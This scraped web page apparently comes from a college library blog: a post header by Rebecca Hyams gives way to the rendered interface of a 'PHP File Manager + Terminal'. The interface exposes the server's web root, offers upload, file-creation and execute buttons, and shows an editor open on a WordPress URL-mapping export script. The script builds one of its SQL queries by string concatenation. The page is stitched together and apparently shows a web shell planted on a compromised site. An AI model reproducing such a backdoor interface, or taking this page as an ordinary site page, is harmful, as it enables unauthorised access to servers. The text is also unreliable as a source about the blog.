Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html Upload Create File Create Folder Execute Editing: /var/www/html/permalinks.php<?php include "wp-load.php"; ob_start(); echo "Post Type,Original URL,New URL,Post ID,Template,Date,Page Template"; render_mapping('page'); render_mapping('news'); render_mapping('faculty'); $content = ob_get_contents(); $length = strlen($content); ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename=url_mapping_'.date("YmdHis").'.csv'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . $length); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Expires: 0'); header('Pragma: public'); echo $content; function render_mapping($post_type) { $posts = new WP_Query('post_type='.$post_type.'&posts_per_page=-1&post_status=publish'); $posts = $posts->posts; global $wpdb; /*$posts = $wpdb->get_results(" SELECT ID,post_type,post_title FROM {$wpdb->posts} WHERE post_status<>'auto-draft' AND post_type NOT IN ('revision','nav_menu_item') "); */ foreach($posts as $post) { switch ($post->post_type) { case 'revision': case 'nav_menu_item': break; case 'page': $permalink = get_page_link($post->ID); break; case 'post': $permalink = get_permalink($post->ID); break; case 'attachment': $permalink = get_attachment_link($post->ID); break; default: $permalink = get_post_permalink($post->ID); break; } $oldurl = get_post_meta($post->ID, 'oldurl', true); if ($oldurl !== false && strstr($oldurl, ',')) $oldurl = '"'.$oldurl.'"'; $template_list = wp_get_object_terms($post->ID, 'template', array('orderby' => 'name', 'order' => 'ASC', 'fields' => 'all')); $templates = ''; foreach($template_list as $template) { $templates .= $template->name . ';'; } if (strlen($templates) > 0) $templates = substr($templates, 0, strlen($templates) - 1); else if ($post->post_type === 'page' && $oldurl) { $query = "select d.name as `template` from wp_posts a join wp_postmeta b on a.ID = b.post_id join wp_term_relationships c on c.object_id = a.ID join wp_terms d on d.term_id = c.term_taxonomy_id where a.post_type = 'scrapage' and a.post_status = 'publish' and b.meta_key = 'oldurl' and b.meta_value = '".$oldurl."'"; $templates = $wpdb->get_var($query); } else if ($post->post_type === 'news') { $templates = 'News Story'; } else if ($post->post_type === 'faculty') { $templates = 'Faculty'; } $date = get_the_date('m/d/Y H:i:s', $post->ID); $post_id = $post->ID; $page_template = get_page_template_slug($post_id); echo "\n{$post->post_type},{$oldurl},{$permalink},{$post_id},{$templates},{$date},{$page_template}"; } }Save